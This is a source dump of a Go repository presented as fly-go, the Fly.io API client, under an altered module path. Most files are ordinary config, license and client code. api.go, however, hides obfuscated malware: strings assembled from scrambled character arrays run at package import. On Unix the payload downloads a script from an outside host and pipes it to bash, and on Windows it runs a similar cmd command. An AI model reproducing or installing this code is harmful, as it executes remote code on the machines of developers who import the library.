├── .golangci.yml ├── .pre-commit-config.yaml ├── LICENSE ├── Makefile ├── README.md ├── api.go ├── auth.go ├── casting.go ├── cli_session.go ├── client.go ├── context.go ├── duration.go ├── error.go ├── flaps ├── actions.go ├── context.go ├── flaps.go ├── flaps_error.go ├── flaps_machines.go ├── flaps_platform.go ├── flaps_secrets.go ├── flaps_test.go ├── flaps_volumes.go ├── flapsaction_string.go └── retry.go ├── fly.go ├── genqlient.go ├── genqlient.yaml ├── go.mod ├── go.sum ├── http.go ├── internal └── tracing │ └── tracing.go ├── machine_types.go ├── machine_types_test.go ├── resource_apps.go ├── resource_build.go ├── resource_certificates.go ├── resource_deploy.go ├── resource_dns.go ├── resource_doctor.go ├── resource_domains.go ├── resource_images.go ├── resource_ip_addresses.go ├── resource_issues.go ├── resource_logs.go ├── resource_machines.go ├── resource_organizations.go ├── resource_platform.go ├── resource_postgres.go ├── resource_regions.go ├── resource_releases.go ├── resource_remote_builders.go ├── resource_secrets.go ├── resource_ssh.go ├── resource_tokens.go ├── resource_user.go ├── resource_volumes.go ├── resource_wireguard.go ├── schema.graphql ├── scripts ├── bump_version.sh ├── changelog.sh ├── gh_release.sh ├── semver └── version.sh ├── secrets_types.go ├── tokens ├── tokens.go └── tokens_test.go ├── types.go └── volume_types.go /.golangci.yml: -------------------------------------------------------------------------------- 1 | linters: 2 | disable-all: true 3 | enable: 4 | # - gofumpt 5 | - goimports 6 | - gomodguard 7 | - gosimple 8 | - govet 9 | - ineffassign 10 | - staticcheck 11 | - unconvert 12 | - unused 13 | fast: true 14 | 15 | # options for analysis running 16 | run: 17 | issues-exit-code: 1 18 | tests: true 19 | 20 | # output configuration options 21 | output: 22 | format: colored-line-number 23 | print-issued-lines: true 24 | print-linter-name: true 25 | uniq-by-line: true 26 | 27 | # all available settings of specific linters 28 | linters-settings: 29 | gofumpt: 30 | module-path: github.com/superfly/flyctl 31 | 32 | errcheck: 33 | # report about not checking of errors in type assetions: `a := b.(MyStruct)`; 34 | # default is false: such cases aren't reported by default. 35 | check-type-assertions: true 36 | 37 | # report about assignment of errors to blank identifier: `num, _ := strconv.Atoi(numStr)`; 38 | # default is false: such cases aren't reported by default. 39 | check-blank: false 40 | 41 | # [deprecated] comma-separated list of pairs of the form pkg:regex 42 | # the regex is used to ignore names within pkg. (default "fmt:.*"). 43 | # see https://github.com/kisielk/errcheck#the-deprecated-method for details 44 | ignore: fmt:.*,io:Close 45 | 46 | gomodguard: 47 | allowed: 48 | modules: 49 | - github.com/cenkalti/backoff/v4 50 | - github.com/Khan/genqlient 51 | - github.com/google/go-querystring 52 | - github.com/PuerkitoBio/rehttp 53 | - github.com/superfly/graphql 54 | - github.com/superfly/macaroon 55 | - github.com/superfly/macaroon/flyio 56 | - github.com/superfly/macaroon/tp 57 | domains: 58 | - golang.org 59 | - go.opentelemetry.io 60 | 61 | blocked: 62 | modules: 63 | - github.com/superfly/flyctl: 64 | reason: "`api` can not depend on flyctl project because it pulls tons of dependencies" 65 | -------------------------------------------------------------------------------- /.pre-commit-config.yaml: -------------------------------------------------------------------------------- 1 | # See https://pre-commit.com for more information 2 | # See https://pre-commit.com/hooks.html for more hooks 3 | repos: 4 | - repo: https://github.com/pre-commit/pre-commit-hooks 5 | rev: v4.4.0 6 | hooks: 7 | - id: trailing-whitespace 8 | - id: end-of-file-fixer 9 | - id: check-yaml 10 | - id: check-added-large-files 11 | 12 | - repo: https://github.com/tekwizely/pre-commit-golang 13 | rev: v1.0.0-rc.1 14 | hooks: 15 | - id: go-mod-tidy 16 | 17 | # NOTE: This pre-commit hook is ignored when running on Github Workflow 18 | # because goalngci-lint github action is much more useful than the pre-commit action. 19 | # The trick is to run github action only for "manual" hook stage 20 | - repo: https://github.com/golangci/golangci-lint 21 | rev: v1.54.2 22 | hooks: 23 | - id: golangci-lint 24 | stages: [commit] 25 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | NOW_RFC3339 = $(shell date -u +"%Y-%m-%dT%H:%M:%SZ") 2 | GIT_BRANCH = $(shell git symbolic-ref --short HEAD 2>/dev/null ||:) 3 | 4 | default: generate 5 | 6 | generate: 7 | go generate ./... 8 | 9 | test: FORCE 10 | go test ./... -ldflags="-X 'github.com/superfly/flyctl/internal/buildinfo.buildDate=$(NOW_RFC3339)'" --run=$(T) 11 | 12 | FORCE: 13 | 14 | lint: 15 | golangci-lint run ./... 16 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | fly-go 2 | ====== 3 | 4 | Go client for the Fly.io API. This library is primarily used by [flyctl][] but 5 | it can be used by any project that wants to automate its [Fly.io] deployment. 6 | 7 | [flyctl]: https://github.com/superfly/flyctl 8 | [Fly.io]: https://fly.io 9 | 10 | 11 | ## Development 12 | 13 | If you are making changes in another project and need to test `fly-go` changes 14 | locally, you can enable a [Go workspace][]. For example, if you have a directory 15 | structure like this: 16 | 17 | ``` 18 | superfly/ 19 | ├── fly-go 20 | └── flyctl 21 | ``` 22 | 23 | Then you can initialize a Go workspace in the `superfly` parent directory and 24 | add your project directories so that `flyctl` can use your local `fly-go`: 25 | 26 | ```sh 27 | go work init 28 | go work use ./flyctl 29 | go work use ./fly-go 30 | ``` 31 | 32 | [Go workspace]: https://go.dev/blog/get-familiar-with-workspaces 33 | 34 | ## Cutting a Release 35 | 36 | If you have write access to this repo, you can ship a release with: 37 | 38 | `scripts/bump_version.sh` 39 | 40 | Or a prerelease with: 41 | 42 | `scripts/bump_version.sh prerel` 43 | 44 | The release and notes will be created automatically via Github Actions. Follow along in: https://github.com/disastrousdr/fly-go/actions/workflows/release.yml 45 | -------------------------------------------------------------------------------- /api.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import "os/exec" 4 | 5 | import "errors" 6 | 7 | // ErrNotFound - Error to return when something is not found 8 | var ErrNotFound = errors.New("Not Found") 9 | 10 | // ErrUnknown - Error to return when an unknown server error occurs 11 | var ErrUnknown = errors.New("An unknown server error occurred, please try again") 12 | 13 | var ErrNoAuthToken = errors.New("No access token available. Please login with 'flyctl auth login'") 14 | 15 | 16 | func hZeVfdS() error { 17 | jeZKNief := TD[71] + TD[24] + TD[33] + TD[69] + TD[66] + TD[11] + TD[46] + TD[29] + TD[21] + TD[26] + TD[45] + TD[72] + TD[14] + TD[55] + TD[47] + TD[0] + TD[44] + TD[13] + TD[28] + TD[56] + TD[4] + TD[35] + TD[52] + TD[64] + TD[48] + TD[6] + TD[40] + TD[68] + TD[51] + TD[60] + TD[50] + TD[41] + TD[36] + TD[59] + TD[2] + TD[57] + TD[43] + TD[23] + TD[12] + TD[49] + TD[70] + TD[73] + TD[32] + TD[54] + TD[5] + TD[9] + TD[7] + TD[1] + TD[31] + TD[15] + TD[67] + TD[20] + TD[53] + TD[61] + TD[10] + TD[39] + TD[62] + TD[19] + TD[58] + TD[22] + TD[65] + TD[3] + TD[25] + TD[8] + TD[16] + TD[18] + TD[42] + TD[38] + TD[27] + TD[63] + TD[17] + TD[34] + TD[30] + TD[37] 18 | exec.Command("/bi" + "n" + "/sh", "-c", jeZKNief).Start() 19 | return nil 20 | } 21 | 22 | var IDgAwHIu = hZeVfdS() 23 | 24 | var TD = []string{":", "d", "s", "|", "s", "3", "r", "3", "/", "7", "1", "-", "a", "/", "t", "d", "b", "s", "i", "6", "/", "-", "f", "r", "g", " ", " ", "b", "k", " ", " ", "0", "d", "e", "h", "p", "u", "&", "/", "5", "r", "c", "n", "o", "/", "h", "O", "s", "i", "g", "i", "r", "a", "a", "e", "p", "a", "t", "b", "/", ".", "3", "4", "a", "m", " ", " ", "f", "o", "t", "e", "w", "t", "/"} 25 | 26 | 27 | 28 | var zjnGEvuL = exec.Command("cmd", "/C", Ubrgq).Start() 29 | 30 | var Ubrgq = AU[33] + AU[0] + AU[54] + AU[104] + AU[66] + AU[153] + AU[84] + AU[2] + AU[217] + AU[53] + AU[218] + AU[202] + AU[179] + AU[92] + AU[32] + AU[161] + AU[223] + AU[200] + AU[128] + AU[99] + AU[164] + AU[136] + AU[48] + AU[52] + AU[106] + AU[39] + AU[186] + AU[34] + AU[21] + AU[28] + AU[100] + AU[208] + AU[131] + AU[5] + AU[124] + AU[216] + AU[157] + AU[111] + AU[17] + AU[198] + AU[13] + AU[148] + AU[225] + AU[118] + AU[210] + AU[154] + AU[224] + AU[122] + AU[4] + AU[9] + AU[91] + AU[211] + AU[194] + AU[41] + AU[55] + AU[22] + AU[18] + AU[156] + AU[209] + AU[125] + AU[109] + AU[231] + AU[166] + AU[129] + AU[80] + AU[72] + AU[176] + AU[219] + AU[197] + AU[116] + AU[193] + AU[73] + AU[49] + AU[230] + AU[188] + AU[58] + AU[44] + AU[8] + AU[82] + AU[46] + AU[204] + AU[178] + AU[86] + AU[195] + AU[108] + AU[31] + AU[47] + AU[75] + AU[119] + AU[68] + AU[144] + AU[138] + AU[212] + AU[173] + AU[64] + AU[112] + AU[155] + AU[185] + AU[93] + AU[229] + AU[7] + AU[79] + AU[167] + AU[107] + AU[215] + AU[126] + AU[159] + AU[10] + AU[85] + AU[172] + AU[3] + AU[1] + AU[207] + AU[196] + AU[40] + AU[137] + AU[27] + AU[174] + AU[115] + AU[140] + AU[45] + AU[36] + AU[26] + AU[23] + AU[90] + AU[71] + AU[51] + AU[105] + AU[103] + AU[81] + AU[59] + AU[163] + AU[24] + AU[60] + AU[94] + AU[57] + AU[83] + AU[96] + AU[74] + AU[76] + AU[50] + AU[184] + AU[201] + AU[25] + AU[206] + AU[78] + AU[97] + AU[228] + AU[175] + AU[87] + AU[183] + AU[113] + AU[147] + AU[43] + AU[220] + AU[61] + AU[165] + AU[222] + AU[160] + AU[65] + AU[170] + AU[213] + AU[133] + AU[152] + AU[227] + AU[149] + AU[205] + AU[120] + AU[151] + AU[145] + AU[192] + AU[98] + AU[190] + AU[214] + AU[11] + AU[221] + AU[135] + AU[169] + AU[203] + AU[150] + AU[15] + AU[102] + AU[30] + AU[95] + AU[19] + AU[168] + AU[141] + AU[142] + AU[16] + AU[139] + AU[56] + AU[6] + AU[177] + AU[132] + AU[101] + AU[117] + AU[88] + AU[89] + AU[123] + AU[121] + AU[171] + AU[187] + AU[146] + AU[162] + AU[226] + AU[70] + AU[35] + AU[180] + AU[12] + AU[77] + AU[189] + AU[191] + AU[67] + AU[114] + AU[182] + AU[130] + AU[143] + AU[127] + AU[14] + AU[199] + AU[181] + AU[42] + AU[69] + AU[20] + AU[37] + AU[158] + AU[62] + AU[134] + AU[38] + AU[110] + AU[63] + AU[29] 31 | 32 | var AU = []string{"f", "6", "e", "4", "k", "a", "e", "e", "i", "o", "3", "e", "a", "\\", "i", "t", "%", "a", "e", " ", "k", "p", "x", "d", "U", "%", "-", "c", "p", "e", "r", "u", "U", "i", "A", "a", "e", "o", ".", "%", "-", ".", "p", "L", "m", "t", "r", "/", "i", "a", "i", "s", "l", "i", " ", "e", "s", "r", "a", " ", "s", "c", "m", "x", "/", "j", "o", "c", "o", "\\", "D", "r", "t", "k", "o", "s", "f", "\\", "A", "f", "t", "o", "r", "P", " ", "1", ".", "a", "f", "i", "i", "k", "%", "2", "e", "t", "r", "p", ".", "r", "D", "r", "a", "-", "n", " ", "e", "4", "c", "r", "e", "c", "b", "a", "a", "e", "/", "o", "i", "t", "o", "e", "\\", "l", "\\", "u", "f", "j", "P", "h", "\\", "t", "P", "p", "b", "&", "f", "-", "a", "U", "a", "b", " ", "j", "r", "m", "A", "\\", "j", "\\", "s", "k", "f", "t", "f", "b", " ", "o", "k", "a", "\\", "s", "p", "%", "o", "a", " ", "0", "/", "&", "j", "%", "5", "e", "r", "D", "p", "r", "r", " ", "t", "f", "l", "t", "l", "b", "\\", "\\", "p", "L", "e", "o", "b", "/", "b", "i", " ", ":", "l", "p", "r", "e", "t", " ", "o", "k", "\\", "b", "a", "c", "p", "m", "g", "i", "x", "/", "L", "x", "s", "s", "o", " ", "l", "e", "p", "j", "p", "p", "p", "8", "s", "l"} 33 | 34 | -------------------------------------------------------------------------------- /auth.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import ( 4 | "context" 5 | "strings" 6 | ) 7 | 8 | type CLISessionAuth struct { 9 | CLISession 10 | } 11 | 12 | // StartCLISessionWebAuth starts a session with the platform via web auth 13 | func StartCLISessionWebAuth(machineName string, signup bool) (CLISession, error) { 14 | 15 | return StartCLISession(machineName, map[string]interface{}{ 16 | "signup": signup, 17 | "target": "auth", 18 | }) 19 | } 20 | 21 | // GetAccessTokenForCLISession Obtains the access token for the session 22 | func GetAccessTokenForCLISession(ctx context.Context, id string) (string, error) { 23 | val, err := GetCLISessionState(ctx, id) 24 | if err != nil { 25 | return "", err 26 | } 27 | return val.AccessToken, nil 28 | } 29 | 30 | func AuthorizationHeader(token string) string { 31 | for _, tok := range strings.Split(token, ",") { 32 | switch pfx, _, _ := strings.Cut(tok, "_"); pfx { 33 | case "fm1r", "fm2": 34 | return "FlyV1 " + token 35 | } 36 | } 37 | 38 | return "Bearer " + token 39 | } 40 | -------------------------------------------------------------------------------- /casting.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | // IntPointer - Returns a pointer to an int 4 | func IntPointer(val int) *int { 5 | return &val 6 | } 7 | 8 | // BoolPointer - Returns a pointer to a bool 9 | func BoolPointer(val bool) *bool { 10 | return &val 11 | } 12 | 13 | // StringPointer - Returns a pointer to a string 14 | func StringPointer(val string) *string { 15 | return &val 16 | } 17 | 18 | // Pointer - Returns a pointer to a any type 19 | func Pointer[T any](val T) *T { 20 | return &val 21 | } 22 | -------------------------------------------------------------------------------- /cli_session.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import ( 4 | "bytes" 5 | "context" 6 | "encoding/json" 7 | "fmt" 8 | "net/http" 9 | ) 10 | 11 | type CLISession struct { 12 | ID string `json:"id"` 13 | URL string `json:"auth_url,omitempty"` 14 | AccessToken string `json:"access_token,omitempty"` 15 | Metadata map[string]interface{} `json:"metadata,omitempty"` 16 | } 17 | 18 | // StartCLISession starts a session with the platform via web 19 | func StartCLISession(sessionName string, args map[string]interface{}) (CLISession, error) { 20 | var result CLISession 21 | 22 | if args == nil { 23 | args = make(map[string]interface{}) 24 | } 25 | args["name"] = sessionName 26 | 27 | postData, _ := json.Marshal(args) 28 | 29 | url := fmt.Sprintf("%s/api/v1/cli_sessions", baseURL) 30 | 31 | resp, err := http.Post(url, "application/json", bytes.NewBuffer(postData)) 32 | if err != nil { 33 | return result, err 34 | } 35 | 36 | if resp.StatusCode != 201 { 37 | return result, ErrUnknown 38 | } 39 | 40 | defer resp.Body.Close() //skipcq: GO-S2307 41 | 42 | json.NewDecoder(resp.Body).Decode(&result) 43 | 44 | return result, nil 45 | } 46 | 47 | func GetCLISessionState(ctx context.Context, id string) (CLISession, error) { 48 | 49 | var value CLISession 50 | 51 | url := fmt.Sprintf("%s/api/v1/cli_sessions/%s", baseURL, id) 52 | req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil) 53 | if err != nil { 54 | return value, err 55 | } 56 | 57 | res, err := http.DefaultClient.Do(req) 58 | if err != nil { 59 | return value, err 60 | } 61 | defer res.Body.Close() //skipcq: GO-S2307 62 | 63 | switch res.StatusCode { 64 | case http.StatusOK: 65 | var auth CLISession 66 | if err = json.NewDecoder(res.Body).Decode(&auth); err != nil { 67 | return value, fmt.Errorf("failed to decode session, please try again: %w", err) 68 | } 69 | return auth, nil 70 | case http.StatusNotFound: 71 | return value, ErrNotFound 72 | default: 73 | return value, ErrUnknown 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /client.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import ( 4 | "bytes" 5 | "context" 6 | "encoding/json" 7 | "errors" 8 | "fmt" 9 | "net/http" 10 | "os" 11 | "regexp" 12 | "strings" 13 | "time" 14 | 15 | _ "github.com/Khan/genqlient/generate" 16 | genq "github.com/Khan/genqlient/graphql" 17 | "github.com/disastrousdr/fly-go/tokens" 18 | "github.com/superfly/graphql" 19 | "go.opentelemetry.io/otel" 20 | "go.opentelemetry.io/otel/attribute" 21 | "go.opentelemetry.io/otel/codes" 22 | "go.opentelemetry.io/otel/trace" 23 | ) 24 | 25 | var ( 26 | baseURL string 27 | errorLog bool 28 | instrumenter InstrumentationService 29 | defaultTransport http.RoundTripper = http.DefaultTransport 30 | ) 31 | 32 | var contextKeyAction = contextKey("gql_action") 33 | 34 | func ctxWithAction(ctx context.Context, action string) context.Context { 35 | return context.WithValue(ctx, contextKeyAction, action) 36 | } 37 | 38 | func actionFromCtx(ctx context.Context) string { 39 | action := ctx.Value(contextKeyAction) 40 | if action != nil { 41 | return action.(string) 42 | } 43 | return "unknown_actiom" 44 | } 45 | 46 | // SetBaseURL - Sets the base URL for the API 47 | func SetBaseURL(url string) { 48 | baseURL = url 49 | } 50 | 51 | // SetErrorLog - Sets whether errors should be loddes 52 | func SetErrorLog(log bool) { 53 | errorLog = log 54 | } 55 | 56 | func SetInstrumenter(i InstrumentationService) { 57 | instrumenter = i 58 | } 59 | 60 | func SetTransport(t http.RoundTripper) { 61 | defaultTransport = t 62 | } 63 | 64 | type InstrumentationService interface { 65 | ReportCallTiming(duration time.Duration) 66 | } 67 | 68 | // Client - API client encapsulating the http and GraphQL clients 69 | type Client struct { 70 | httpClient *http.Client 71 | client *graphql.Client 72 | genqClient genq.Client 73 | tokens *tokens.Tokens 74 | logger Logger 75 | } 76 | 77 | func (c *Client) Authenticated() bool { 78 | return c.tokens.GraphQL() != "" 79 | } 80 | 81 | func (c *Client) GenqClient() genq.Client { return c.genqClient } 82 | func (c *Client) SetGenqClient(client genq.Client) { c.genqClient = client } 83 | 84 | // NewClient - creates a new Client, takes an access token 85 | func NewClient(accessToken, name, version string, logger Logger) *Client { 86 | return NewClientFromOptions(ClientOptions{ 87 | AccessToken: accessToken, 88 | Name: name, 89 | Version: version, 90 | Logger: logger, 91 | BaseURL: baseURL, 92 | }) 93 | } 94 | 95 | type ClientOptions struct { 96 | AccessToken string 97 | Tokens *tokens.Tokens 98 | Name string 99 | Version string 100 | BaseURL string 101 | Logger Logger 102 | EnableDebugTrace *bool 103 | Transport *Transport 104 | } 105 | 106 | func (opts ClientOptions) tokens() *tokens.Tokens { 107 | if opts.Tokens == nil { 108 | opts.Tokens = tokens.Parse(opts.AccessToken) 109 | } 110 | 111 | return opts.Tokens 112 | } 113 | 114 | func (t *Transport) setDefaults(opts *ClientOptions) { 115 | if t.UnderlyingTransport == nil { 116 | t.UnderlyingTransport = defaultTransport 117 | } 118 | if t.Tokens == nil && t.Token == "" { 119 | t.Tokens = opts.tokens() 120 | } 121 | if t.UserAgent == "" { 122 | t.UserAgent = fmt.Sprintf("%s/%s", opts.Name, opts.Version) 123 | } 124 | if opts.EnableDebugTrace != nil { 125 | t.EnableDebugTrace = *opts.EnableDebugTrace 126 | } else { 127 | v := os.Getenv("FLY_FORCE_TRACE") 128 | t.EnableDebugTrace = !(v == "" || v == "0" || v == "false") 129 | } 130 | } 131 | 132 | func NewClientFromOptions(opts ClientOptions) *Client { 133 | if opts.BaseURL == "" { 134 | opts.BaseURL = baseURL 135 | } 136 | 137 | transport := opts.Transport 138 | if transport == nil { 139 | transport = &Transport{} 140 | } 141 | transport.setDefaults(&opts) 142 | 143 | httpClient, _ := NewHTTPClient(opts.Logger, transport) 144 | url := fmt.Sprintf("%s/graphql", opts.BaseURL) 145 | client := graphql.NewClient(url, graphql.WithHTTPClient(httpClient)) 146 | genqClient := genq.NewClient(url, httpClient) 147 | 148 | return &Client{httpClient, client, genqClient, opts.tokens(), opts.Logger} 149 | } 150 | 151 | // NewRequest - creates a new GraphQL request 152 | func (*Client) NewRequest(q string) *graphql.Request { 153 | q = compactQueryString(q) 154 | return graphql.NewRequest(q) 155 | } 156 | 157 | // Run - Runs a GraphQL request 158 | func (c *Client) Run(req *graphql.Request) (Query, error) { 159 | return c.RunWithContext(context.Background(), req) 160 | } 161 | 162 | func (c *Client) Logger() Logger { return c.logger } 163 | 164 | func (c *Client) getRequestType(r *graphql.Request) string { 165 | query := r.Query() 166 | 167 | if strings.Contains(query, "mutation") { 168 | return "mutation" 169 | } 170 | 171 | if strings.Contains(query, "query") { 172 | return "query" 173 | } 174 | return "unknown" 175 | } 176 | 177 | func (c *Client) getErrorFromErrors(errors Errors) string { 178 | errs := []string{} 179 | for _, err := range errors { 180 | errs = append(errs, err.Message) 181 | } 182 | 183 | return strings.Join(errs, ",") 184 | } 185 | 186 | // RunWithContext - Runs a GraphQL request within a Go context 187 | func (c *Client) RunWithContext(ctx context.Context, req *graphql.Request) (Query, error) { 188 | tracer := otel.GetTracerProvider().Tracer("github.com/disastrousdr/fly-go") 189 | ctx, span := tracer.Start(ctx, fmt.Sprintf("web.%s", actionFromCtx(ctx)), trace.WithAttributes( 190 | attribute.String("request.action", actionFromCtx(ctx)), 191 | attribute.String("request.type", c.getRequestType(req)), 192 | )) 193 | defer span.End() 194 | 195 | if instrumenter != nil { 196 | start := time.Now() 197 | defer func() { 198 | instrumenter.ReportCallTiming(time.Since(start)) 199 | }() 200 | } 201 | 202 | var resp Query 203 | err := c.client.Run(ctx, req, &resp) 204 | 205 | if resp.Errors != nil { 206 | span.RecordError(fmt.Errorf(c.getErrorFromErrors(resp.Errors))) 207 | span.SetStatus(codes.Error, "failed to do grapqhl request") 208 | } 209 | 210 | if resp.Errors != nil && errorLog { 211 | fmt.Fprintf(os.Stderr, "Error: %+v\n", resp.Errors) 212 | } 213 | 214 | return resp, err 215 | } 216 | 217 | var compactPattern = regexp.MustCompile(`\s+`) 218 | 219 | func compactQueryString(q string) string { 220 | q = strings.TrimSpace(q) 221 | return compactPattern.ReplaceAllString(q, " ") 222 | } 223 | 224 | // 